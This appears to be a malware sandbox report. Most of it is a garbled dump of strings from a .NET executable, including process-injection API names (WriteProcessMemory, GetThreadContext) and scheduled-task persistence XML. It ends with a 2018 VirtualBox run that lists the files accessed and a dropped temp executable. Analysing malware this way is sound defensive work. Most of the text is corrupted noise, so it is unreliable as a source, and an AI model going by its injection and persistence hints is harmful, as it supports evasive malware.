EDIHYCZSCKB
BWNSXKJEDEB
RGANHAFYXTA
RUUTLVIVLNW
CPBTSIVK
TWJHNJI
QZTEQTTRP
FIGHRYTHW
w VRW
WWBQJYX
NDPLMNPVGRZ
]USGELUQKXO
PHBEEC
KTPVLVCOFYS
VOSQRHDJOU
l J
^&;A
q WjqV
HSJRQOV
2"*Deve>2014-10-25T14:2'8&4*:92964#<+Fate> <Author([GQAPID]:+Supjor> </Registrabo}nMlfo>
FLZPTAZETP
UF)ERJ)
7l>(
J3 v
AISEHVILRK
W(Rj
IORISZAGNYQ
RLKAPECQBYZ
HCVKFH
VVEELQQQXSOP
LPTVJDLHMVGE
PKABHVKHEFF
+O0+
PRXMCR
SNJSKH
DFCGMZKZA
QPALUNPEVW
BCZVOTIOIRVUTTXCOUOUOOME
q 9P
_9I*
DJEVBAMMO
D1W*
SJIQNSAPWON
QziF
WkzeOfImage
KDAFRPWPBT
9} 4
SJ,4YK-
F@WZRVGWFCA
NQBDUKMHTMBG
WUCLGWVPP
FBRYHVTNM
2 8Vriggers> <Loso|Tvkggep8
YOFENXMVJ
QMUZCAOBJWF
FMZELLIYBEQB
YIQWNGPCN
IATDNNRM
YNXRGXRGKPC
TMNWNDEPGYEC
ADCLKPZCOYPB
S |v
e t8
LILQY
RRWDCBH
CTBOS
KBPRRLHRIXM
XK[FYE[PWT^U
9!5d
OCALWRVGHN
2<UxaautionTimeLimit>PT$W./AzecuvoynPkmeLimit> <Prikdkp{>7<=Tfkkpity> </Settingu8
!dVb
YKWFOAZJSRJ
WIFXJDFP
cuthf
+5wdV
SBJYCJ
Dirwebmv{Infk
u}Vj(
IZFTRCNLZJ
JVBUTFMPIRMB
u +p
o;
JYNPZTSOBMC
get_Nakc
PEMPPEBUFWRA
FMPBXQYZGE
ALNLIKCTKM
WACHA
EFYUZWJJST
DMIWHRGJEXYS
FNTDWHFEJI
h\ c
BTFWQQMUSQYQ
BUIFSGUCLIO
ZJGFJVZSA
NALBXYBMK
XYHEYDHZLSRH
IWLFCPMREZTV
OMKFNBQHCU
TFLBHQY
VETDXMHYKN
RPPALUBP
BVFSBHIVXEMS
j,PC
ZDBFLMCCH
OEBVADQCCLMA
QRTHSUZNFUSC
w9<A
DC\QAN\QRQBO
u h h
^I\KZKRCOABQ
Dd+5
YZMSGKOQZEIU
OEZNVDTHOQ
HX
g|+M
xA}oXU
SKGMEWTUUVCY
CXGMSMTQV
e_cparhdr
YK,mYJ-
gef]Qwhvure
SVU7
UNASGAPRHFTH
JLPTVUADY
,K^_
XDNWCCTXYBZ
[^B_v
IBVZZJVSZX
nEvtridq`e
b AD
VVPBTUWZQYYO
UI**YK-
GLXKVHB
JFISGC
,n@
OZP_QNRN
HYMUEQYDWCA
VChRW
s!/j+i
AYIGQJGYSAHA
DZSARAQHLJFM
LOFZAAEVMJ
MUJZYFAUYE
LVOMQQKRTF
DWNLTDADNKAQ
SHU@TZOAOP
KYNZHSACPQCZ
YQARKALCA
JCXTC
XHFXAPIRAI
VFSTMDAKJVPS
NEWDFGHF
DevaDirectory
<>CuJ
JMCXLIEBP
U^KPPQ
NVRMNVZPVOG
D3TE
CIJKXRIB
WXEEYFCXPUTA
lfYY
A@EQJBWTINRI
FHXYUSIPRUAJ
"$" <RunOnlyIfNetwor
GOEPJGEW[
HANBROGPXRNK
KOQVHTRN
IPPLUZRIVL
EAJABBL
VZNGSBFZIP
WHKFYNXIDXQU
4p-T%I
Ems44GetThreadContext
AUIPFHOFLHVX
BNNQJHFAF
PkknterToSymbolTable
UCSEBPCUIL
VAZHNZMIEG
MROAQJTUOX
%oI
KVJGQYDRHLK
BREGIRF
MNGCYX
&? ,
OFVKSAIKGYYU
Binder
EUCNJ
NPCFORKJ
QMPQMIPWQWKS
JQH^MFIMAY
IOYFUGSYVA
ESJLDKH
c_`n5
OMUXHERGQBW
M`z`CbF
BECVMOLIBLNG
NQESSVPXTOYX
XWMKKIGKK
PKIUAGCSAIFL
wOQW
CIEOWGLTH
Z[J^VHRO
nSkndowTitle
%o9
TZJROIR
UJGMSMUSBETZ
DSUBRUKPTZFI
JWKKL
%o%
EZDATARDZ
v< ~r
SDRUFHMMKTRH
NGJHSQJQXMDO
PPHVBUIWSWTW
BSJB
YWJSFUHMFQ^E
VDAVKJTXGS
KNEVDGZADCGS
G Rj
C{nrgrt
;#M\
SNJDNQMGFAR
7'#G
QZIZYDUHQJPN
dsQize
System.Conhwapkons*Gqlapic
elpT
PXFHJLPJC
DataSelector
WADHCOGKHR
BVHOTWWFBKZ
jxjkR
IntPtr
VoInt32
ZTSVOEJSCS
DVQNO
QDRXIZD
U 9f5
gav_Id
V@WPS
IQPOFFDFABH
DOPCVTIS
PTCWH
JDKFWPHUTVNU
LHLJDOQIWOU
NPAPT
Q\ZLY
ENMNNJUECCRS
FRSQCTK_T^XE
WBTOVE
e-sVI
PNHUUWSFNDA
BOUTGUVSOYPC
DWJZLVM\HKAX
WWYMMS
ETMCWG
OZZUVRKXFIWJ
\SOCQMBZ
GREBW
FVGVRVGGOLN
SUHIMCRNBB
VFKETADWFUD
mo<F
jhc:
JRXRCKSG
LMVJZVM]
F]AGKUQG^G
KNFMAFIKHYUL
op_Qucchkty
RQMRQWDKMBT
ZLVCLUZSB
<mAa
IFCCFBLIUSV
QPSBYMQU
FQCJXXTT
UZGWM
*m;d|y
j&FH*
EWVJRKL
UCMOWOKKEB
GNSDXKQVSVH
HTBSUNWBUWUA
/gUrp!0T
^_R!
PZZNM
TXTEUPIX^PY
OHMFZILOHV
[PSKVGREENUF
Oq@K
FZNSBZBWOLJY
MLGZT
+6^{
XLWMNMA
AXSVMED
LWAAPUCEHWET
FLNUUSRFJT
WHGJWHGH
KIAMBOIHQVD
NTSOXZKLQ
@IOSV
GTJGEZWHZSZO
PSSPUILKGDKU
Sy5J
OWISHMBXIJGK
TULPROM
lv{v
DHRFZQPPTNMX
DBYJTVFHL
hhdh
JGMKFISA
f )M
JDPOVQRPHF
MKNEQBGPOVF
QWFECEZEYSR
GEOZCLWB
XVGDNKRUZL
ANRLLJTAPFJ
IDUUVCMGBOIN
:FBNGa6|
BPNHBUFSHFK
u _^3
d&<X
M-/=
PEKPFFIX
LKCBXAUQU
PAQNVITGQO
XYLVMU
QHPJPGMXJ
KSXJCLVZW
SVQBHJQMBNDC
Clcr
EFREBWHUUXUE
OHUDUCRZDVA
BKUPEY
^GJOP
SEWZB
BHDXUOELS
AWTCRM
PAEOQSDKS
MTOSEREGVBBL
UFUGSWMOSYN
@J7<
G4XuzA$(
TWJWBDTOGP
EKGYFADUCBX
AHPOYJHGICFN
JZLUMRPEODD
DVSCWFUHRNRK
DJPS_RJXYVFA
EcbKapnelYdxegvSecurity
JQGKQXINJUDF
Vj9j
hrflOldProtect
JCROSI
_EUSLWRNTGJ
s*F
BSDQAJC
AUEOJGJGPZCO
CVHUTJANI
NAVLLSPYAHC
Opl'qN
CDNUYOVZ
FXQQZWLJYD
1.1.$.$
DRWFSELEHJPK
SMPLBVVHB
W~gar
MIIQMPIFNQ
TAHEVZUOW
e_crlq
NDEIBBL
SLCHURLZVTA
%rM
OCFKDWHIIA
HBTOOIECD
Sjr!
QNEYTSZSBRS
SGEZJEYELFF
OVGQYJTZNZVD
RASRZ
DMKBDYFITV
ALNNMFU
WGWEIQ
UKETXM
FRMBRFO]N
BUWTVBY
IIHXOXNJTCM
QYCLGIAWHZS
BTLLNDHE
XVXUMIXWBARH
FUFPLDIPXUQZ
tM@b
HIIJVKQTIRJ[
@_GJIMXAUK
IPSCLTQJJVE
BBWNJVIW
RMXAPBDYEZA
BFZASTAQWWY
VQGVIYUAI
GLBHQ]K
HVJFHSPQNJ
LZSEBOBSARUH
EE]ZEWWTZW
%r#
LEENOQIC
YWZZIWQQWCS
SizeOfUninit
7yFN
CqtP{peFromHandle
TADJYI\WSW
nbCqprentDirectory
IBDTBPG
JYESWVJN
A 4v
DZYUZUMA
.4i=iI#K%
FQXRRKBM
QFGQVQO
IFSRAODJLPG
NUPMYALBJND
VJ,V
DJ
SLWWOXWSEF
XAFPJOKLQWXT
@DIWCBVBD
JEGXVFXWFXPA
CAUMADX
NKSVGUXPZI
HZRGL
SVW3
g.NN+
NNAHKJ
@Js(w
KGQFNAQDCZJ
BBJTOJCNNTQG
XTAMKPTN
("g i
@]LZHOCKU
P*Ad
DKIFCGPFFRD
MinorOperatingSmwbgiTers}k|
YSSMUGBMEN
QZYXJUPVLC
UGJDDKAJVF
WUEHSSINKP
e_ip
SVWh
KJYUQ@EFJRNH
%,p<
CFZPLLNLKMYD
VLWKO
YZYJS^UZE
gE7J
dwProcessId
WJ,L\N/
MMKLMASD
| Z.~W>
EYDMXSSNMR
203%c
IZSTRNJALNP
j$VW
m Lxf
@n7W
MGCLGEB
KRPAWTYYWZ
ISBGHOQTEEI
AKBFGBCNCBFQ
CGOOPVINEDB
ARERVFZNKF
XJBVJTPDZCU
GMTJECIUPL
LZINKDHAKXMS
]^[
BKKMBNYHJMYP
ZVWDTBPTOYQ
UDDTMQQHEVP
ETJPGZPJOAS
.[Wc
IOJRRZBD
)v j)j
YJ+S
{%Tc
IXBSEBBSH
VYXHDTZPJY
[YLE[ZLZ
FYNSZXEMANVD
_(Uh j\jdV
pfmggssInformation
GGT\KF[
IPATLBFBQDRB
LAPULYBEOA
PTCSKDBI
SVZRVLPS
" 2$.PqlLevel>LeastPrivilagq>+PunLsvql:
EUKCLBAFU
HFRJRJAQ
XUWEXCWNJDR
WLESQ
ELABS
n"/dr6
JYDYEMYMYC
_t.f
SCHYPFSIKN
S@GHXP
DWNJMGLKSX
IOZIXEYEIGHQ
LZVUQ
EQXJHJBHHEE
IJNBKHYRJZYZ
K@TIDDKONLAR
PVTB
Assembj}BrkfuctUvdrm`ute
KXZXBXQNOM
v N&f[XQ
YOVLZMF
- G5o&
MUQXPXYGQPS
eA ^
i2dA*
KGASGDJ
FEBBFAZAATMW
DUWTXZXJQWH
ROOENVEDGBXN
XL(@YL.
MRXXERRBSBBT
gI6dY
MUXPRO
l<sY7u
TAFFBMJPGP
THOXMORNSNP
K\QGGOKJ
UUBXRBBWWXO
EXJXVGXNIICC
EGSHDVCGFTSW
Y^HFCMPQU^NP
KLMHGZTNTSKG
8Lz
MIJYXNZALROB
XYVSPELHEVTN
QJJFXZCHKH
WDSTDYACQCV
;8P0O
FNAPNZA
KPFGLAGFNCN
QWUj
IQGTBDVRA
VWAZKIU
4"8-Prilaypens> <Settings> $4"$>MultkfnaKnstancesPolicy>StopQxmqtinw8;MqntipleInstancesPoliak>
RNZJDNVAU
I\HTKPUJOWNE
AQYRANV
Load
ROYCFURDHOOR
LPOSRLNCYBAD
I]HAT@OFTMP
SRUj?
COUMUEGBJLUV
BWVQPTF
HLSXFYP
Knvoyc
LQYHTUUG
NBHPSR]H
t _^
IMAGE_FILE_ZGQFAP
JWSCOLBNA
pI_&-
NSHLMDATE
FFEIHDGZKEC
NMPAZJ
PAQCCXMUIGXJ
y{ev;d
CJUZGRVHW
EWOFUOKIWV
GBKBOOTEBOF
userf
MPEKU
HIDYEJTWRPCC
KCHGSGDJBOP
spwv
QBNAHQBDMLZK
m (F
7>_t
BNEQZZGXSSU
JOHEODR
t WR
${E5
WWOZFMFRQY
ZBMHKETHQEEY
CNBLQUXZ
TWj?
JSFTX@IKHMR
IPASHRGZCURY
TATOIVHWUCV
GJDISBAPJS
kMT9
SHUWTUX
UXWWVSE
IESJYMLPEE
[OMBGBEQFRM
XDLDGBISQS
DDQUYKKPXAXI
OLFAYXBVSRJT
YVKANKMWNXJ
?VO
OEJIJJTLMHDK
IFQHGZOZYSXB
NqoberId@ehmcations
YWPZPMYCI
DWQGJHJJCL
TIVXJXLF
BNLJ\J
w huV
RNQZJIG
UNOBUYCUN
QMMYAI
YEPLLSKKQ
BEXGMDGIHCVL
^lU
(_^[
VJ+
]^3
SRUD@^CZJP
q_ ^l2?m
WFXOE
LXELOOPUP
@CRGHSLGWAMO
ENJDSSEETYEN
NPJHT
w_kgminfo
9N\}-
gx*UU
System.Sqgcrmvy.Permissions.SecurityPerm{qckklAttribute, mscorlib, Versi{n)2*2.0.0, Culture=neutral, PublmsIa{Token=b77a5c561934e089
Ccsaobly
"him#
}X a^
QTXIJSYCQOMP
WPBQYQEURAFZ
ARSCIMAXHP
HDWJJETOMCH
OWYVGTBDLM
UQNNRGZDRWTR
gev]ATB:
THBPEQ
resourceCu~tgra
VJ)>
RVPS
&Qq#
XI*1
UKGYGZYHGDYO
IWAXCJXGS
MX@UBXKM
ZHIVQQJJX
DTGQXCAUUUYH
VMQ@S
MPMIEOYL]VBK
VALLDTGSHKOR
KXHEY
RXEMHCRE
FKETENE
4+<C )
G SPS
YHKLZOPZGITR
Y<QsULi
q 9H
JHQOCB
RYUFHBDQXKB
WNNVYODXAJ
EJKTIWB\ZCMI
GLMKUHSWVYAM
RASFHQWT
IZJHFAAEVTWD
PLNTBGF
QF)EXK*
AssemblyConfigurapm
HBJUVXBIOH
RKSSKIJIHK
UAOEX
VPFVC
XDSXXKJWL
NVCDSLAQBPI
CASRSVWDY
HAZVGXWESCAG
WK-UYK.
WK-UYK-
NZEED
LZLVCSSGSKR
SFUMUA
OZQATFKIZO
WBQKRQZNACJ
Ln>#
RWFBOQBRWSR
~:sT6
EECLOEA
UOFXVSELVFEO
MHYQHTYSDY
LNYNB
UZODDNSUQA
w h4
p*b@%
TLRXWUFAJ
FSAZKZSUOYV
BJRBLIY
NRVWBVQDB
"7 =
NEEDVAPRHWP
TJFIGYDU
OJDZZAHK
u 9F
TFTGDOSMNWK
BKINRID
EIRMMVNQ
KFDFEKYOM
YNGVYBNWWW
ZDRAINLEFCZJ
G2L~
DLEIRR
HNGO\N\
LRJFUK
System.Threadinq
ONQIGDKGSEPM
MTFIYANFZHAM
DAYXYRQZKE
z=*
YZAKMSCYLSDF
KJDELBBPJLAJ
FISLKSSW
BZCOYYCF
u 9T
u 9P
GHLWLSMA
KCWUU
bigdick
DQKTZTENT
GSIZJCZGKPL
APKDLPCLYFT
Fo d
LRPJJMQZFZNC
u 9H
u 9t
XISUNEMNAAEQ
<>BuJ
E*}]
RoinfcbVkPawData
ZAVTY
XPONBMNXJO^
DLGRNXFHLC
t [@_
REDXGEON
YQLXGYOYJFN
"r3/
*PP (d
KDMGKPFMDI
COGIOEDVQB
EEYUQY
QKOWLHDG
ENJEFEUILM
SUKLYFVYH
MmlorI}eseRgrsion
XVPYA^BTTA
WTW
AUWPRJ
GZZKEIWNCKLC
BVBFBUHOGDT
MOBLMV[ODFM[
EGKNJW
USHGTHNLLM
W}P
*#{ B
ncC>#
gav_Asacy`h{
XYVEP
MDNBOLLAKA
RNJYENO
LNIHDSDVIVQJ
MJZOQ^OXW
MFERRZAQNFI
~xT>12
Skqfgi,Diasj}spkcs
c =J
ILOYPPNKGQM
Mj7V
fullbmtqs
QZOIADPYRRPI
WTUTSK
HUKWD
SXYBKWT
JKBNJHEEAD
DALAUSSRO
IDOTHGFZ
PBKADHWH
KMQTI
MEPTQQN
QZZDLIYJBKIG
DXLTWFVCPJM
NGPAXLMHL
ttSj
AEER_WQQ\FX
RSRRRQV
IFMCG
TYYRMOXYEDCI
OLGDOQNXYLI
SGIXBP@@QTRF
ETFSZQSOGHZW
YLHXDLXFSH
TWWDDDUV
UBJBCITZKZ
Gi5M
ZVRJWRC
OURJQYKGK
OOKBX
IYYBSWDVAYO
YCGBEFUJPYM
NYEMCGMQSKM
O^_
;p t
ORLIAEAV@OUS
u 8\0
NRSJGZOJPLL
KCNUMWUSL
RKVMNFONWVY
FVNDTYPHDFU
AGF_GMNTEXT
GXPFNQTXIKB
IEDXUXUCRHX
UnverifiableCodeAttribgtu
IVYDWXNVVHH
ILZLBZIEZ
LOTUKERTHF
R>n3
TYVXEFLKUZM
NZOTKFD
\HWKHJTTQP@I
FDSP
WritePr{cwqwOemory
@PQV
XCKZZHFIX
VLFKXIQSOJXB
HEGOPHHLPVC
IWVDVLB
AQ{
ARNXCHOPLIJI
U@VMWPFNVWDG
EKPMWZ
JIXGUVPKVMZY
CTXNRAKT
ABEHHQGFEG
RZCV@ERG[
RKKATFQUGFQZ
SAPQEYBRXPL
OIQZQWJAJ
LVRJJ
SJTYKUITZVT
-zTK
MFQQUSWUUEGT
UELNDHQUVN
~/
BNUKJEH]U]
QXEKYCRLQWUE
WASMULW
WJDGLU
BPZUHOYXYZVF
WK-UzpX
9R e =R
UWXAIKAS
DGQHPCATYM
OXLVUNKZJGF
RWGOZZUBA
System.Runtime.InteropServices
CHNBYUDFLFS
f=[1
XGLWAI
+\<_
NNMXHODJGAMF
uy$Tg
y#@W
UKUQKWYVMZIO
STWVVBRBQZD
t Uj
YKTRVXFUXNT
ULQLCEU
HTVNYWLWW
TLPWIWT
UZHMNRTLF
YVNH_BBQDJ
EFKVGSVTFYJ
ZQOQGKKUWT
XGVBHSYIUDQO
OmlorLinkerVersion
UD"
MNJKYSV[BF
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
KICXUXYUXI
BJIYUN@LPAUT
UDDQHVSSVMZE
(
PmString
CBMEZHXOXVHI
GXCUUWG
HDLJZCWHMTO
RWWUSGUSQW
RFNJLAFUYLT
kD`uew
PJKXXYNGPC
LYAEQVLTA
(~
uAzitCm`w
BIFITSIVTRR@
EFIDTKI
]LFTPVBWVQB
OJTBLFBQWB
SIIIIZOMIQQ
w\HS
SQPBPFUWVJHP
FXLJAGABQCSV
LGAARDUVYD
VPGOHSHBKZR
PHODFTFYOG
sp8NC
CssemblyCompanyAttporwpg
OTCC\JZDERRZ
LLDNQBSRJYO
OKHHRYECMS
RTSRQXWBZBAJ
LZPEEJEKNF
SSEFIZJAADA
ABCD
MXFMNEULTB
LTFFUZEF
EPXNCPCCK
EYJWBDR
WMUEVEHUIP
SFVTTVTGZUVR
TKYPORTMWMMQ
SWPV
CEKQBAVQMHIZ
MBQRBG
}l '
DMDYPAGAJZKW
lq
PWNFYRA
WFBVZKMNSD
OSGCKAHEQU
ZNINIRJHR
GLSUKHZQWO
VHTU
UFUWDOEOD
ROTQDSVZSAZ
[_USZATD
IDVBPSXNUCBI
RHGSCEASKXX
NUJMQAREVQIV
WZSSMQQMLWY
ZHLPNJ
my&m^
BJHTA
VJ+k
HFUUWIRSX
ODFCISVPE
WEMSDAZYDEO
b =2u
ZPLGX_J
NVIPRFQNG
SinaYdMlitiuh{xafData
GENZPN
NFCMIA
OOYNDVNPFDGV
QGMAIPLSJDKF
QSEIFBKEK
CKISO
O@TGTTPCVWVT
JEBFQPDJ
VLCQYJRPYN
TYUFGLKCG
MCADJBQPRL
ERFMXVOOPJ
TWNWXLXFQQPJ
HJHWLQ
@f/
JDEOOFYIZ
NFLBPOBBDWXP
ZTBSPLSAJDM
IOUKWMUSUD
i4e7C
EQYWWNXDRMOI
YVPYORTQAGA
ZHIEMDWIBNMY
[\[]
@RBHOMNWQ@F
HIIBWKYCQO
YDVMN
= d;
zv+o
=8[`
UNVDVOWFDDK
GBPQYBHBUUTX
OMUCRLJ
JRJRHZOPLYF
QKJBUMIY
\S[UPTXIHB
NYICFVIA
g =r
BJYKXYKMPR
P-/n/
VLJZMV
(f|5
GNGAITGBFS
IGOPYXBTACFK
FN@PYKBUICGV
UYSJJJIXBO
M`[=
MEZPJFO
HPWURCDT
MAGOYLIHJBQO
+5hA
NDIZFRWPN
XGAUXKTMISJZ
QQJUZLMRUANF
q$(@
Encoding
6=O0<
KVB\FOTFB_SZ
RYWYMOAGZRY
HIFTVEPZFW
PQRSVE
WYDZBVRVQ
>yx0;<
WQLBXDKHHA
TUWAXMBPLAP
NMKESARBPIAK
OSlqoerator
OVMLOVUQZWN
VLLQUJFDRHXD
FZZRDQHRRPPY
QEWRZHXARCEG
TTYZTYWW
>sE4
ef(0
\NDKNPUJUED
Vy4r
_Uu9
ZLJBRWW
fcvK
SYPEZTJFUOS
MTWASJHCNIRT
EBMYDGBXVQE
PTIMXPQEA
ZHZS^NGFATD
Q<Q
!This pdoureo ca~n{t$`e run in DOS mode,
WI*lYL.
D@RZDPIOJU
Zero
MXLXJEQXTR
HPLVAKUU
MCFWRFFHY
QXEMAYACMFS
NEFLPDIHYM
NHMVLGJOSH
SBICC
JTONGPKSAGCL
NumberOfLm|gjwmbefs
FPGFGRSWSX
ENXAAJCKVKD
TPUWASWW
FFXTGMDZSCPS
YIJERZIIURV
eav_BinaryLength
ENMVUKOHQEX
F(px
LWAYAFY
SJPYDIRJYN
XMGUHFLA@N
LBYWWCMXRJSM
GEIQVFTFGXTQ
AZKKAEYFNAUS
VOTPZYOJ
JFTBUDHKFXUG
TSELCCNCWIE
IDAZ^@_JIC
SCZZCFJQNZHA
MSGPSSBUMLB
GWARBYK
BOHDBPSBZYXH
BSFKQCAPHT
}j-B^
NPSFZXVKG
DTBBIMDVVP
TKULYF]E
s]2hw{
VLIRDFZFV
ARZQRUGW
AHGVZSR
u 9p
M0/mq
IJAXKTJOHDBD
Lumbwr]fVtaAndSizes
APHZYASXL
MRDXATXXZ
YJNKMOKZT
BGFIPNMPNPDD
AFNOGJE
9~4
PuntimeCompatibilityAttribufa
ROONDZMNT
ZLHI\CDOXEF
TfoggssThpwa`
DUDBOEJDU
OUJFXYXTQQCY
~h[O
FMYGVACGB
OAZDBUCCMLI
OGLTBRZP
MWNZJ
$" <Se
KEELQD
a2K3
wwt[Aulture
ZFOCLMUTCXZB
LDAIK
HM_CHFOFOHDV
GetCallingAssembn{
FVVGOMGYGNJJ
StatusWord
UYFANXZSBOT
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-06-25 17:03:39 2018-06-25 17:06:32 173

5 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-06-25 17:03:39 2018-06-25 17:06:32 173

7 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\TBYc9iY.exe.config
C:\Users\Seven01\AppData\Local\Temp\TBYc9iY.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\TBYc9iY.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
\Device\KsecDD
C:\Users\Seven01\AppData\Local\Temp\TBYc9iY.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.exeSICMAYO.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.exeSICMAYO.resources\EKYBMN.exeSICMAYO.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.exeSICMAYO.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.exeSICMAYO.resources\EKYBMN.exeSICMAYO.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.exeSICMAYO.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.exeSICMAYO.resources\EKYBMN.exeSICMAYO.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.exeSICMAYO.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.exeSICMAYO.resources\EKYBMN.exeSICMAYO.resources.exe
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.resources\EKYBMN.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\EKYBMN.resources\EKYBMN.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.resources\EKYBMN.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\EKYBMN.resources\EKYBMN.resources.exe
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2476.12062796
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2476.12062796
